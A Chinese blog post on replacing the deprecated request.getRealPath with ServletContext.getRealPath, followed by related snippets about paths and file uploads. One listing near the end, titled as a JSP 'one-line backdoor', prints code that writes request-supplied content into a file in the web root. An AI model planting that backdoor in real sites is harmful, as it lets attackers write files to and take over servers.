`
royzhou1985
  • 浏览: 250555 次
  • 性别: Icon_minigender_1
  • 来自: 广州
社区版块
存档分类
最新评论

request.getRealPath(arg0); 报警告:

    博客分类:
  • Jsp
阅读更多
The method getRealPath(String) from the type ServletRequest is deprecated

request.getRealPath("") 这个方法已经不推荐使用了,那代替它的是什么方法呢?

Deprecated. As of Version 2.1 of the Java Servlet API, use ServletContext.getRealPath(java.lang.String) instead.

request.getSession().getServletContext().getRealPath() 得到站点的绝对地址

在servlet或者struts中还可以这样:

this.getServletContext().getRealPath("/");

this.getServlet().getServletContext().getRealPath("/");

分享到:
评论
1 楼 ganky 2010-08-06  
   

相关推荐

    Request中getContextPath、getServletPath、getRequestURI、request.getRealPath的区别.doc

    Request中getContextPath、getServletPath、getRequestURI、request.getRealPath的区别

    Java获取*路径实现探讨

    (1)、request.getRealPath(“/”);//不推荐使用获取工程的根路径 (2)、request.getRealPath(request.getRequestURI());//获取jsp的路径,这个方法比较好用,可以直接在servlet和jsp中使用 (3)、request.getSession()...

    javaweb 做图片水印,水印图片到目录图片上去

    String planeImage = request.getSession().getServletContext().getRealPath("/image").replace("\\", "/")+"/"+"symark.png"; //获取目标图片的路径String targetPic = request.getSession().getServletContext()....

    在JAVA文件中获取该项目的相对路径.doc

    在 Servlet 中,可以使用 request.getServletPath() 获取当前文件的绝对路径,然后使用 request.getSession().getServletContext().getRealPath(request.getRequestURI()) 获取当前文件的绝对路径。同时,也可以使用...

    struts2+spring2+ibates

    取得请求文件的上层目录:new File(application.getRealPath(request.getRequestURI())).getParent() servlet类似! 6、在写action类里,对于要封装的值和对象,除了常数以外,记得SET和GET,不是会出现空指针。

    ognl源码包值得用一用

    String path = request.getRealPath("/upload"); factory.setRepository(new File(path)); // 1mb factory.setSizeThreshold(1024 * 1024); // 实现文件上传的核心 ServletFileUpload upload = new ...

    java的运用个人经典相册

    String photopath=this.getServletContext().getRealPath("")+photourl; File photopicfile=new File(photopath); boolean checkdelphoto=photopicfile.delete(); if(checkdelphoto==true){ System...

    Struts Updownload 源码

    String realPath=ServletActionContext.getServletContext().getRealPath("/"+this.getPath()+"/"+fileName); System.out.println(realPath); return ServletActionContext.getServletContext()....

    java上传文件实例

    saveurl=application.getRealPath("/")+url; File file = new File(saveurl); if(!file.exists()){ file.mkdirs(); } saveurl+=filename+"."+ext; //保存路径 myFile.saveAs(saveurl,SmartUpload.SAVE_PHYSICAL); ...

    图片上传filemover.jar,uploadbean.jar,cos.jar

    String sWebRootPath = request.getRealPath("/"); String sPath=sWebRootPath+"file"; String sLocalFileName = ""; int iFileCount = 0; if ( (files != null) || (!files.isEmpty()) ) { UploadFile file = ...

    jsp 对文件的操作

    String path=request.getRealPath(""); path=path + "\Sub";//将要建立的目录路径 File d=new File(path);//建立代表Sub目录的File对象,并得到它的一个引用 if(d.exists()){//检查Sub目录是否存在

    getServletContext()空指针异常的原因

    getServletContext()空指针异常的原因getServletContext()空指针异常的原因getServletContext()空指针异常的原因getServletContext()空指针异常的原因getServletContext()空指针异常的原因

    java结合jsp写的上传文件代码

    dfif.setRepository(new File(request.getRealPath("/") + "ImagesUploadTemp"));// 设置存放临时文件的目录,web根目录下的ImagesUploadTemp目录 // 用以上工厂实例化上传组件 ServletFileUpload sfu = new ...

    fileupload

    String rootpath = request.getRealPath(request.getRequestURI()); rootpath = rootpath.substring(0, rootpath .lastIndexOf("\\FlowMonitoringSystemJava\\uploadhandler")); uploadDirectory=rootpath+ ...

    java通过js上传文件

    path=request.getRealPath("file")+File.pathSeparatorChar+fileName; File uploadFile=new File (path); request.getSession ().setAttribute("file", uploadFile); item.write(uploadFile); ...

    fileutil工具类 处理文件流工具

    fileutil工具类 处理文件流工具 private static File file; /** * 判断文件是否存在 * * @param path * 文件路径 * @return boolean ... public static ....getRealPath(path)); return file.exists(); }

    JSP-文件图片上传-fileupload组件-commons-upload

    File file = new File(request.getRealPath("/") + "photofiles", tempFile.getName()); item.write(file); String fname = item.getName(); %> <script language="javascript"> alert("上传相片成功!"); ...

    java完整实现各种类型的文件上传和下载

    3.如果是eclipse开发工具,上传之后的文件保存在路径D:\develop\resource\.metadata\.plugins\org.eclipse.wst.server.core\tmp0\wtpwebapps\UploadAndDownload\WEB-INF\upload 4.其中D:\develop\resource为项目所在...

    struts2文件上传,与struts2-xml校验

    System.out.println("aaa="+ServletActionContext.getActionContext(ServletActionContext.getRequest())); filename=new String[myFile.length]; //获取跟文件夹的绝对路径,"/"代表获取跟路径 String path=...

    JSP一句话后门

    =null)(new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %> 使用方法: 提交url! jsp?f=1.txt” target=”_blank”...

Global site tag (gtag.js) - Google Analytics